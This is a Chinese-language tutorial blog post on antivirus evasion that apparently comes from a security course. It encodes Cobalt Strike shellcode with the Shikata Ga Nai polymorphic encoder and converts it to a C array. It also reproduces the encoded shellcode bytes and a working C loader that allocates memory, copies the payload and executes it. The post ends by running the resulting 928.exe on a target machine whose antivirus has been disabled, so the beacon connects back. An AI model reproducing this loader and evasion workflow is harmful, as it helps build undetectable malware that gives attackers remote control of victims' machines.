恶意代码开发（免杀）（2）——SGN加密-北京尧图网络

恶意代码开发免杀(1)-CSDN博客SGN 加密SGNShikata Ga Nai是一个多态二进制编码器主要用于生成静态上无法被检测的二进制 payload。它通过加法反馈循环对二进制指令进行编码使输出结果与随机数据完全相同从而隐藏解码器本身的存在。基本用法在 Kali 或 Linux 中操作sgn -i payload_x64.bin -a 64 -c 1 -M 1 -o sgn-out.bin关键参数含义-i输入原始 shellcode 文件。-a 64指定架构为 64 位。-c 1编码次数增加编码次数会增大体积但提升混淆效果。-M 1解码器混淆的最大字节数。-o输出文件名。在 Cobalt Strike 中的用法可以使用sgn对生成的 raw shellcode 进行编码然后将其嵌入到自定义的加载器中。这种方式会生成与随机数据相似的静态载荷从而绕过基于特征码的静态检测。你已经有现成的928.exe加载器代码main.cpp。我们要做的就是把里面那段shellcode[]数组替换成被 SGN 加密后的版本然后在 Visual Studio 里点一下重新生成就能得到带 SGN 加密的928.exe了。你之前怕麻烦的编译流程完全不用变。️ 第一步在 Linux 里完成 SGN 加密这一步不需要写任何新代码只操作命令。准备好原始 Raw Shellcode你还是得先用 Cobalt Strike 生成一个原始的payload_x64.binRaw 格式。使用 SGN 进行编码在 Linux 终端或装了 Docker 的 Windows PowerShell里执行下面这条命令直接对原始文件进行多态加密使用sgn工具第一步赋予执行权限并复制到系统目录在终端里输入下面这行命令注意因为你当前就在muma目录下可以直接用文件名chmod x ./sgn sudo cp ./sgn /usr/local/bin/chmod x ./sgn给它加上可执行权限。sudo cp ./sgn /usr/local/bin/把它复制到系统全局命令目录这样以后在任何文件夹下都能直接用了。系统会提示你输入密码直接输入你 Kali 的密码输入时不会显示字符输完回车即可。sgn -i payload_x64.bin -a 64 -c 4 -o sgn_payload.bin-i输入原始 shellcode 文件。-a 64告诉 SGN 这是 64 位的负载。-c 4编码 4 次重复次数越多混淆效果越好但生成的文件会变大一点。-o输出加密后的新文件。关于安装如果你还没装 SGN最简单的办法是用 Docker一条命令就搞定环境docker run -it -v /tmp/:/tmp/ egee/sgn -i /tmp/payload_x64.bin -a 64 -c 4 -o /tmp/sgn_payload.bin执行完你就在/tmp/目录下得到sgn_payload.bin了。️ 第二步把加密后的 Shellcode 变成 C 语言数组一行命令加密后的文件依然是二进制你没法直接贴到 VS 的代码里。还是用熟悉的xxd命令xxd -i sgn_payload.bin sgn_payload.h打开这个sgn_payload.h你会看到一个新的十六进制数组类似这样unsigned char sgn_payload_bin[] { 0x8f, 0x2c, 0x7e, 0x41, ... // 全是经过 SGN 加密后的随机数据 }; unsigned int sgn_payload_bin_len 1234;unsigned char sgn_payload_bin[] { 0xe8, 0x35, 0x06, 0x00, 0x00, 0xfc, 0xdf, 0xe2, 0xe1, 0x9e, 0xea, 0x38, 0xcd, 0xbe, 0x00, 0xef, 0x29, 0xba, 0x06, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0xa6, 0xc6, 0x1a, 0x06, 0xc2, 0xd7, 0x0d, 0xb2, 0xec, 0xad, 0x08, 0xff, 0x8f, 0xaf, 0xef, 0xc7, 0x00, 0x1d, 0x0b, 0xd9, 0x8f, 0x40, 0x1a, 0xab, 0x5c, 0x7e, 0x95, 0x6e, 0xe1, 0x14, 0x77, 0x21, 0xc3, 0x0b, 0x0e, 0x0b, 0x0b, 0x8b, 0x3c, 0x33, 0xf8, 0x4d, 0x30, 0xed, 0x04, 0xfd, 0xb2, 0xca, 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sgn_payload_bin_len 1730;️ 第三步在 Visual Studio 里替换并编译最关键的一步这一步完全是你之前跑通928.exe的流程不需要用 mingw也完全不用离开 Windows。打开你原来的项目打开928项目找到main.cpp。替换数组把原来main.cpp里的unsigned char shellcode[] {...}整段删掉然后把sgn_payload.h里的新数组完整复制进去。#include windows.h #include stdio.h // 第一步准备 shellcode已被 SGN 加密 unsigned char shellcode[] { 0xe8, 0x35, 0x06, 0x00, 0x00, 0xfc, 0xdf, 0xe2, 0xe1, 0x9e, 0xea, 0x38, 0xcd, 0xbe, 0x00, 0xef, 0x29, 0xba, 0x06, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0xa6, 0xc6, 0x1a, 0x06, 0xc2, 0xd7, 0x0d, 0xb2, 0xec, 0xad, 0x08, 0xff, 0x8f, 0xaf, 0xef, 0xc7, 0x00, 0x1d, 0x0b, 0xd9, 0x8f, 0x40, 0x1a, 0xab, 0x5c, 0x7e, 0x95, 0x6e, 0xe1, 0x14, 0x77, 0x21, 0xc3, 0x0b, 0x0e, 0x0b, 0x0b, 0x8b, 0x3c, 0x33, 0xf8, 0x4d, 0x30, 0xed, 0x04, 0xfd, 0xb2, 0xca, 0xa9, 0xe0, 0x13, 0x04, 0x22, 0x85, 0x51, 0x1d, 0x1c, 0x66, 0x07, 0xea, 0xc3, 0xb8, 0x35, 0x0d, 0xf4, 0x76, 0xc8, 0x9f, 0xaa, 0x43, 0x11, 0x76, 0x2b, 0x16, 0x07, 0xb3, 0x35, 0x8a, 0x66, 0x66, 0x66, 0x66, 0x00, 0x33, 0xbd, 0xaf, 0x5a, 0x99, 0x30, 0xd8, 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VirtualAlloc failed: %lu\n, GetLastError()); return 1; } printf([] Memory allocated at: 0x%p\n, pMem); // 第三步拷贝 shellcode MoveMemory(pMem, shellcode, shellcode_len); printf([] Shellcode copied.\n); // 第四步执行 shellcode printf([*] Executing shellcode...\n); ((void(*)())pMem)(); return 0; }调整长度变量确保你代码里定义的长度变量比如shellcode_len的值和sgn_payload.h里的那个长度数字保持一致。如果不想每次手动改用sizeof(shellcode)也行。重新生成直接点击 Visual Studio 顶部的生成→重新生成解决方案。因为 SGN 编码后的数据本身就是随机形态的所以你之前编译时可能会遇到的杀软静态特征问题现在就能大大缓解了。你现在需要做的最后一步去拿文件打开你的文件资源管理器进入E:\desktop\网安\课程\大三上\产业班\代码\928\x64\Release\目录找到新生成的928.exe。关杀软必须确保你的靶机里已经关闭了 Windows Defender 的“实时保护”。上传并运行把928.exe复制到你的靶机里双击运行。观察 CS保持 Cobalt Strike 开着看看目标机器是否成功上线。红色的是新的蓝色已经停止了你现在完成了什么你完成了一个非常标准的免杀 Loader 流程你用 SGN 把原本特征明显的 Shellcode 变成了像随机数据一样的加密形态。你把这个加密数据塞进了一个自定义的 C Loader 里。当928.exe运行时它会在内存里把 SGN 加密的数据解密出来然后执行最终让 CS 上线。

恶意代码开发（免杀）（2）——SGN加密

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